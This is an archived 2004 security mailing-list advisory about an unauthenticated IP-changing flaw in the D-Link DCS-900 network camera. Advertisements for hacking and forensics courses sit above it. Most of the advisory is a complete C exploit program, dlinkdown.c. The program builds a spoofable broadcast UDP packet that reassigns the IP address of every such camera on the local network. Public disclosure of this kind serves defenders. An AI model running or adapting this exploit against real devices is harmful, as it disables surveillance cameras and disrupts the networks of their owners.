Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[EXPL] D-Link DCS-900 Internet Camera Abitrary IP Changing Vulnerability

Subject: [EXPL] D-Link DCS-900 Internet Camera Abitrary IP Changing Vulnerability
Date: 1 Sep 2004 10:45:56 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  D-Link DCS-900 Internet Camera Abitrary IP Changing Vulnerability
------------------------------------------------------------------------


SUMMARY

The  <http://www.dlink.com.au/Default.aspx?ArticleID=109> D-Link DCS-900 
Internet Camera "combines the functionality of video surveillance with the 
reliability and scalability of Fast Ethernet".

A vulnerability in the product allows a remote attacker to cause the 
Internet camera to change its IP address without the attacker requiring 
any authentication credentials.

DETAILS

Vulnerable Systems:
 * D-Link DCS-900

Exploit:
/*
  dlinkdown.c - miscname.com

  change ip address on all dlink dcs-900 cameras on the local network 
without authentication

  dlink dcs-900 ip cameras use a broadcast/listen method of configuration 
..
  rather than a static ip addr out of the box, it listens for a 62976/udp 
broadcast packet
  telling it what ip addr to set itself too

  http://www.dlink.com.au/Default.aspx?ArticleID=109

  rtfs and mod the ip address to set all listening cameras too (default is 
10.0.50.50)
*/

#include <libnet.h>
#include <stdio.h>
#include <stdlib.h>

int main (int argc, char *argv[]) {

 libnet_t *p;
 libnet_ptag_t ip, udp, ipoptions, ether;
 u_long srcip, dstip;
 u_short srcport = 62976, dstport = 62976, x;
 signed int ret;
 char errbuff[LIBNET_ERRBUF_SIZE], ipopt[21];
 int len;
 int8_t *macdst = "ff:ff:ff:ff:ff:ff";
 u_int8_t *macdest;
 char payload[128] = "\xfd\xfd\x00\x04\x00\x03\x00\x0f\x3d\x56\x97\x07"
    "\x0a\x00\x32\x32" /* ip address to set too */
    "\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00";
 u_short payloadlen = strlen(payload);

 srcip = libnet_get_ipaddr4(p); /* mod to spoof */
 dstip = libnet_name2addr4(p,"255.255.255.255",LIBNET_DONT_RESOLVE); /* 
255.255.255.255 */
 udp = ip = ether = ipoptions = 0;

 if ( (macdest = libnet_hex_aton(macdst,&len)) == NULL) {
  fprintf(stderr,"cant get mac str - %s",libnet_geterror(p));
  exit (1);
 }

 if ( (p = libnet_init (LIBNET_LINK, NULL, errbuff)) == NULL) {
  fprintf(stderr,"cant init() - %s\n",errbuff);
  exit (1);
 }

 if ( (udp = libnet_build_udp(srcport,dstport,LIBNET_UDP_H + 
payloadlen,0,payload,payloadlen,p,udp)) == -1) {
  fprintf(stderr,"cant build udp - %s\n",libnet_geterror(p));
  exit (1);
 }

 for (x=0;x<20;x++) {
  ipopt[x] = libnet_get_prand(LIBNET_PR2);
 }

 ipoptions = libnet_build_ipv4_options (ipopt,20,p,ipoptions);

 if ( (ip = libnet_build_ipv4 (LIBNET_IPV4_H + 20 + payloadlen + 
LIBNET_UDP_H,0,250,0,128,IPPROTO_UDP,
0,srcip,dstip,payload,payloadlen,p,ip)) == -1) {
  fprintf(stderr,"cant build ipv4 - %s\n",libnet_geterror(p));
  exit (1);
 }

 if ((ether = libnet_build_ethernet 
(macdest,macdest,ETHERTYPE_IP,NULL,0,p,ether)) == -1) {
  fprintf(stderr,"cant build ether - %s",libnet_geterror(p));
  exit (1);
 }

 //libnet_diag_dump_pblock(p);

 if ( (ret = libnet_write(p)) == -1) {
  fprintf(stderr,"%s\n",libnet_geterror(p));
 }
 
 free(macdest); /* hex_aton malloc's - see libnet doco */
 libnet_destroy(p);

 return 0;
}


ADDITIONAL INFORMATION

The information has been provided by mISCNAMe.
The original article can be found at:  
<http://miscname.com/public/dcs-900/> http://miscname.com/public/dcs-900/



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [EXPL] D-Link DCS-900 Internet Camera Abitrary IP Changing Vulnerability, SecuriTeam <=